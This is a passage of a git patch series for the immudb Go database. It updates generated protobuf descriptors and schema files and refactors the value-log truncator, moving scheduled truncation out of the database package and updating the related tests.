0x20, 0x3c, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, - 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, - 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, - 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, - 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, + 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, + 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, + 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, + 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, + 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, + 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, + 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, + 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, + 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, + 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, + 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, + 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, + 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, + 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 705d7504e9..45cbe50e87 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -366,11 +366,8 @@ message TxHeader { // TxMetadata contains metadata set to whole transaction message TxMetadata { - // True if this metadata has a truncated transaction - bool hasTruncatedTxID = 1; - // Entry expiration information - uint64 truncatedTxID = 2; + uint64 truncatedTxID = 1; } // LinearProof contains the linear part of the proof (outside the main Merkle Tree) diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index d879ab887c..06d3a0de86 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -3517,10 +3517,6 @@ "schemaTxMetadata": { "type": "object", "properties": { - "hasTruncatedTxID": { - "type": "boolean", - "title": "True if this metadata has a truncated transaction" - }, "truncatedTxID": { "type": "string", "format": "uint64", From 73e2a2a772f75f66837aaa1015487934d4752a1b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Sat, 21 Jan 2023 00:23:21 +0530 Subject: [PATCH 0175/1062] chore(pkg/truncator): refactor truncator process --- embedded/sql/engine.go | 15 +-- embedded/sql/engine_test.go | 36 +++--- pkg/database/database.go | 146 +--------------------- pkg/database/database_test.go | 127 +------------------ pkg/database/truncator.go | 30 +++-- pkg/database/truncator_test.go | 62 +++++++--- pkg/server/db_options.go | 4 + pkg/server/db_options_test.go | 6 + pkg/server/errors.go | 2 + pkg/server/server.go | 44 ++++++- pkg/server/truncator.go | 85 +++++++++++++ pkg/server/truncator_test.go | 84 +++++++++++++ pkg/server/types.go | 5 + pkg/truncator/truncator.go | 190 ++++++++++++++++++++++++++++ pkg/truncator/truncator_test.go | 211 ++++++++++++++++++++++++++++++++ 15 files changed, 725 insertions(+), 322 deletions(-) create mode 100644 pkg/server/truncator.go create mode 100644 pkg/server/truncator_test.go create mode 100644 pkg/truncator/truncator.go create mode 100644 pkg/truncator/truncator_test.go diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index bab37bd6ff..ecfc6905d0 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -488,23 +488,18 @@ func normalizeParams(params map[string]interface{}) (map[string]interface{}, err return nparams, nil } -// CopyCatalog returns a new transaction with a copy of the current catalog. -func (e *Engine) CopyCatalog(ctx context.Context) (*store.OngoingTx, error) { +// CopyCatalogToTx copies the current sql catalog to the ongoing transaction. +func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { e.mutex.RLock() defer e.mutex.RUnlock() - sqltx, err := e.NewTx(context.Background(), DefaultTxOptions()) - if err != nil { - return nil, err - } - catalog := newCatalog() - err = catalog.addSchemaToTx(e.prefix, sqltx.tx) + err := catalog.addSchemaToTx(e.prefix, tx) if err != nil { - return nil, err + return err } - return sqltx.tx, nil + return nil } // addSchemaToTx adds the schema to the ongoing transaction. diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 0ad15dd6f3..a340f84353 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5903,40 +5903,42 @@ func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *s require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) + ctx := context.TODO() engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(ctx, nil, "CREATE DATABASE db1;", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(ctx, nil, "USE DATABASE db1;", nil) require.NoError(t, err) return engine, st } -func TestCopyCatalog(t *testing.T) { +func TestCopyCatalogToTx(t *testing.T) { opts := store.DefaultOptions() opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(6) engine, st := setupCommonTestWithOptions(t, opts) + ctx := context.TODO() exec := func(t *testing.T, stmt string) *SQLTx { - ret, _, err := engine.Exec(stmt, nil, nil) + ret, _, err := engine.Exec(ctx, nil, stmt, nil) require.NoError(t, err) return ret } query := func(t *testing.T, stmt string, expectedRows ...*Row) { - reader, err := engine.Query(stmt, nil, nil) + reader, err := engine.Query(ctx, nil, stmt, nil) require.NoError(t, err) for _, expectedRow := range expectedRows { - row, err := reader.Read() + row, err := reader.Read(ctx) require.NoError(t, err) require.EqualValues(t, expectedRow, row) } - _, err = reader.Read() + _, err = reader.Read(ctx) require.ErrorIs(t, err, ErrNoMoreRows) err = reader.Close() @@ -5998,7 +6000,7 @@ func TestCopyCatalog(t *testing.T) { query(t, "SELECT * FROM table2") t.Run("should fail due to unique index", func(t *testing.T) { - _, _, err := engine.Exec("INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil, nil) + _, _, err := engine.Exec(ctx, nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) @@ -6008,13 +6010,13 @@ func TestCopyCatalog(t *testing.T) { for i := 1; i <= 5; i++ { key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx() + tx, err := st.NewWriteOnlyTx(ctx) require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - deleteUptoTx, err = tx.Commit() + deleteUptoTx, err = tx.Commit(ctx) require.NoError(t, err) } }) @@ -6032,9 +6034,12 @@ func TestCopyCatalog(t *testing.T) { // copy current catalog for recreating the catalog for database/table t.Run("succeed copying catalog for db", func(t *testing.T) { - tx, err := engine.CopyCatalog(context.Background()) + tx, err := engine.store.NewTx(ctx, store.DefaultTxOptions()) require.NoError(t, err) - hdr, err := tx.Commit() + + err = engine.CopyCatalogToTx(context.Background(), tx) + require.NoError(t, err) + hdr, err := tx.Commit(ctx) require.NoError(t, err) // ensure that the last committed txn is the one we just committed require.Equal(t, hdr.ID, st.LastCommittedTxID()) @@ -6078,15 +6083,15 @@ func TestCopyCatalog(t *testing.T) { }) t.Run("indexing should work with new catalogue", func(t *testing.T) { - _, _, err := engine.Exec("INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil, nil) + _, _, err := engine.Exec(ctx, nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) // should fail due non-available index - _, err = engine.Query("SELECT * FROM table1 ORDER BY amount DESC", nil, nil) + _, err = engine.Query(ctx, nil, "SELECT * FROM table1 ORDER BY amount DESC", nil) require.ErrorIs(t, err, ErrNoAvailableIndex) // should use primary index by default - r, err := engine.Query("SELECT * FROM table1", nil, nil) + r, err := engine.Query(ctx, nil, "SELECT * FROM table1", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -6105,3 +6110,4 @@ func TestCopyCatalog(t *testing.T) { require.NoError(t, err) }) +} diff --git a/pkg/database/database.go b/pkg/database/database.go index ddde2dc363..818e3d7a8c 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -136,8 +136,6 @@ type DB interface { IsClosed() bool Close() error - - Truncate(rp time.Duration) error } type uuid = string @@ -169,12 +167,6 @@ type db struct { replicaStates map[uuid]*replicaState replicaStatesMutex sync.Mutex - - truncators []Truncator // specifies truncators for multiple appendable logs - truncationMutex sync.Mutex - quitOnce sync.Once - donec chan struct{} - stopc chan struct{} } // OpenDB Opens an existing Database from disk @@ -198,9 +190,6 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l replicaStates: replicaStates, maxResultSize: MaxKeyScanLimit, mutex: &instrumentedRWMutex{}, - truncators: make([]Truncator, 0), - donec: make(chan struct{}), - stopc: make(chan struct{}), } dbDir := dbi.Path() @@ -255,13 +244,6 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) }() - // add default truncators - dbi.truncators = append(dbi.truncators, newVlogTruncator(dbi)) - - if dbi.isDataRetentionEnabled() { - go dbi.runTruncator() - } - dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -318,9 +300,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo replicaStates: replicaStates, maxResultSize: MaxKeyScanLimit, mutex: &instrumentedRWMutex{}, - truncators: make([]Truncator, 0), - donec: make(chan struct{}), - stopc: make(chan struct{})} + } dbDir := filepath.Join(op.GetDBRootPath(), dbName) @@ -373,13 +353,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - // add default truncators - dbi.truncators = append(dbi.truncators, newVlogTruncator(dbi)) - dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) - if dbi.isDataRetentionEnabled() { - go dbi.runTruncator() - } return dbi, nil } @@ -1641,13 +1615,6 @@ func (d *db) Close() (err error) { d.sqlInit.Wait() // Wait for SQL Engine initialization to conclude - if d.isDataRetentionEnabled() { - d.quitOnce.Do(func() { - close(d.stopc) - <-d.donec - }) - } - return d.st.Close() } @@ -1718,115 +1685,8 @@ func logErr(log logger.Logger, formattedMessage string, err error) error { return err } -func (d *db) isDataRetentionEnabled() bool { - return d.options.RetentionPeriod > 0 -} - -// truncateToDay truncates the time to the beginning of the day. -func truncateToDay(t time.Time) time.Time { - return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) -} - -// getRetentionPeriod returns the timestamp that is used to determine -// which transaction up to which the data may be deleted from the value-log. -func getRetentionPeriod(ts time.Time, retentionPeriod time.Duration) time.Time { - return truncateToDay(ts.Add(-1 * retentionPeriod)) -} - -// runTruncator triggers periodically to truncate multiple appendable logs -func (d *db) runTruncator() { - d.Logger.Infof("starting truncator for db '%s' with retention period '%v' and truncation frequency '%v'", d.name, d.options.RetentionPeriod.Seconds(), d.options.TruncationFrequency.Seconds()) - for { - select { - case <-d.stopc: - close(d.donec) - return - case <-time.After(d.options.TruncationFrequency): - // The timestamp ts is used to determine which transaction onwards the data - // may be deleted from the value-log. - // - // Subtracting a duration from ts will add a buffer for when transactions are - // considered safe for deletion. - - // Truncate time to the beginning of the day. - ts := getRetentionPeriod(time.Now(), d.options.RetentionPeriod) - d.Logger.Infof("start truncating database '%s' {ts = %v}", d.name, ts) - if err := d.truncate(ts); err != nil { - if errors.Is(err, ErrRetentionPeriodNotReached) { - d.Logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", d.name, ts.String()) - } else if errors.Is(err, store.ErrTxNotFound) { - d.Logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", d.name, err) - } else { - d.Logger.Errorf("failed to truncate database '%s' {ts = %v}", d.name, err) - } - } else { - d.Logger.Infof("finished truncating database '%s' {ts = %v}", d.name, ts) - } - } - } -} - -// truncate discards an appendable log upto a given offset -// before time ts. First, the transaction is fetched which lies -// before the specified time period, and then the values are -// discarded upto the specified offset. -// -// discard point -// | -// | -// v -// --------+-------+--------+---------- -// | | | -// tn-1:vx tn:vx tn+1:vx -// -func (d *db) truncate(ts time.Time) error { - d.truncationMutex.Lock() - defer d.truncationMutex.Unlock() - - for _, c := range d.truncators { - // Plan determines the transaction header before time period ts. If a - // transaction is not found, or if an error occurs fetching the transaction, - // then truncation does not run for the specified appendable. - hdr, err := c.Plan(ts) - if err != nil { - if err != ErrRetentionPeriodNotReached && err != store.ErrTxNotFound { - d.Logger.Errorf("failed to plan truncation for database '%s' {err = %v}", d.name, err) - } - // If no transaction is found, or if an error occurs, then continue - return err - } - - // Truncate discards the appendable log upto the offset - // specified in the transaction hdr - err = c.Truncate(hdr) - if err != nil { - d.Logger.Errorf("failed to truncate database '%s' {err = %v}", d.name, err) - } - } - - return nil -} - // CopyCatalog creates a copy of the sql catalog and returns a transaction // that can be used to commit the copy. -func (d *db) CopyCatalog(ctx context.Context) (*store.OngoingTx, error) { - return d.sqlEngine.CopyCatalog(ctx) -} - -// Truncate discards all data from the database that is older than the retention period. -func (d *db) Truncate(retentionPeriod time.Duration) error { - ts := getRetentionPeriod(time.Now(), retentionPeriod) - d.Logger.Infof("start truncating database '%s' {ts = %v}", d.name, ts) - if err := d.truncate(ts); err != nil { - if errors.Is(err, ErrRetentionPeriodNotReached) { - d.Logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", d.name, ts.String()) - } else if errors.Is(err, store.ErrTxNotFound) { - d.Logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", d.name, err) - } else { - d.Logger.Errorf("failed truncating database '%s' {ts = %v}", d.name, err) - } - return err - } - d.Logger.Infof("finished truncating database '%s' {ts = %v}", d.name, ts) - return nil +func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { + return d.sqlEngine.CopyCatalogToTx(ctx, tx) } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index b61e9ca48f..341d27aa43 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -26,7 +26,6 @@ import ( "os" "path" "path/filepath" - "reflect" "strings" "sync" "sync/atomic" @@ -2190,12 +2189,12 @@ func Test_database_truncate(t *testing.T) { } } - c := newVlogTruncator(db) + c := NewVlogTruncator(db) hdr, err := c.Plan(queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = db.truncate(queryTime) + err = c.Truncate(hdr) require.NoError(t, err) for i := hdr.ID; i <= 20; i++ { @@ -2217,125 +2216,3 @@ func Test_database_truncate(t *testing.T) { } } - -func Test_truncateToDay(t *testing.T) { - type args struct { - t time.Time - } - tests := []struct { - name string - args args - want time.Time - }{ - { - args: args{t: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC)}, - want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := truncateToDay(tt.args.t); !reflect.DeepEqual(got, tt.want) { - t.Errorf("truncateToDay() = %v, want %v", got, tt.want) - } - }) - } -} - -func Test_getRetentionPeriod(t *testing.T) { - type args struct { - ts time.Time - retentionPeriod time.Duration - } - tests := []struct { - name string - args args - want time.Time - }{ - { - args: args{ - ts: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC), - retentionPeriod: 24 * time.Hour, - }, - want: time.Date(2019, 12, 31, 0, 0, 0, 0, time.UTC), - }, - { - args: args{ - ts: time.Date(2020, 1, 2, 10, 20, 30, 40, time.UTC), - retentionPeriod: 24 * time.Hour, - }, - want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), - }, - { - args: args{ - ts: time.Date(2020, 1, 1, 11, 20, 30, 40, time.UTC), - retentionPeriod: 0, - }, - want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := getRetentionPeriod(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) { - t.Errorf("getRetentionPeriod() = %v, want %v", got, tt.want) - } - }) - } -} - -func TestDatabase_truncate_with_duration(t *testing.T) { - rootPath := t.TempDir() - - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - options.storeOpts.MaxIOConcurrency = 1 - - db := makeDbWith(t, "db", options) - - t.Run("truncate with duration", func(t *testing.T) { - var queryTime time.Time - for i := 2; i <= 20; i++ { - kv := &schema.KeyValue{ - Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), - } - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{kv}}) - require.NoError(t, err) - if i == 10 { - queryTime = time.Now() - } - } - - c := newVlogTruncator(db) - hdr, err := c.Plan(queryTime) - require.NoError(t, err) - require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - - dur := time.Since(queryTime) - err = db.Truncate(dur) - require.NoError(t, err) - - for i := hdr.ID; i <= 20; i++ { - tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) - for _, e := range tx.Entries() { - _, err := db.st.ReadValue(e) - require.NoError(t, err) - } - } - }) - - t.Run("truncate with retention period in the past", func(t *testing.T) { - ts := time.Now().Add(-24 * time.Hour) - dur := time.Since(ts) - err := db.Truncate(dur) - require.ErrorIs(t, err, ErrRetentionPeriodNotReached) - }) - - t.Run("truncate with retention period in the future", func(t *testing.T) { - ts := time.Now().Add(24 * time.Hour) - dur := time.Since(ts) - err := db.Truncate(dur) - require.ErrorIs(t, err, store.ErrTxNotFound) - }) - -} diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 995cea83f5..b8e5a33f0c 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -29,6 +29,7 @@ import ( var ( // ErrNoTxBeforeTime is returned when retention period is not reached. ErrRetentionPeriodNotReached = errors.New("retention period has not been reached") + ErrTruncatorAlreadyRunning = errors.New("truncator already running") ) // Truncator provides truncation against an underlying storage @@ -45,10 +46,10 @@ type Truncator interface { Truncate(*store.TxHeader) error } -func newVlogTruncator(d *db) Truncator { +func NewVlogTruncator(d DB) Truncator { return &vlogTruncator{ - db: d, - metrics: newTruncatorMetrics(d.name), + db: d.(*db), + metrics: newTruncatorMetrics(d.GetName()), } } @@ -62,9 +63,9 @@ type vlogTruncator struct { // When resulting transaction before specified time does not exists // * No transaction header is returned. // * Returns nil TxHeader, and an error. -// The retentionPeriod time is truncated to the day. -func (v *vlogTruncator) Plan(retentionPeriod time.Time) (*store.TxHeader, error) { - hdr, err := v.db.st.FirstTxSince(retentionPeriod) +// ts time is truncated to the start of the day. +func (v *vlogTruncator) Plan(ts time.Time) (*store.TxHeader, error) { + hdr, err := v.db.st.FirstTxSince(ts) if err != nil { return nil, err } @@ -72,7 +73,7 @@ func (v *vlogTruncator) Plan(retentionPeriod time.Time) (*store.TxHeader, error) // if the transaction is on or before the retention period, then we can truncate upto this // transaction otherwise, we cannot truncate since the retention period has not been reached // and truncation would otherwise add an extra transaction to the log for sql catalogue. - err = v.isRetentionPeriodReached(retentionPeriod, time.Unix(hdr.Ts, 0)) + err = v.isRetentionPeriodReached(ts, time.Unix(hdr.Ts, 0)) if err != nil { return nil, err } @@ -81,7 +82,7 @@ func (v *vlogTruncator) Plan(retentionPeriod time.Time) (*store.TxHeader, error) // isRetentionPeriodReached returns an error if the retention period has not been reached. func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTimestamp time.Time) error { - txTime := truncateToDay(txTimestamp) + txTime := TruncateToDay(txTimestamp) if txTime.Unix() <= retentionPeriod.Unix() { return nil } @@ -91,7 +92,13 @@ func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTi // commitCatalog commits the current sql catalogue as a new transaction. func (v *vlogTruncator) commitCatalog(hdr *store.TxHeader) (*store.TxHeader, error) { // copy sql catalogue - tx, err := v.db.CopyCatalog(context.Background()) + ctx := context.Background() + tx, err := v.db.st.NewTx(ctx, store.DefaultTxOptions()) + if err != nil { + return nil, err + } + + err = v.db.CopyCatalogToTx(ctx, tx) if err != nil { v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", v.db.name, err, hdr.ID) return nil, err @@ -157,3 +164,8 @@ func newTruncatorMetrics(db string) *truncatorMetrics { return m } + +// TruncateToDay truncates the time to the beginning of the day. +func TruncateToDay(t time.Time) time.Time { + return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) +} diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 0a6261587a..ca479fce84 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -19,6 +19,7 @@ package database import ( "context" "fmt" + "reflect" "sort" "sync" "testing" @@ -90,7 +91,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { deletePointTx := uint64(15) hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) for i := deletePointTx; i <= 20; i++ { @@ -126,7 +127,7 @@ func 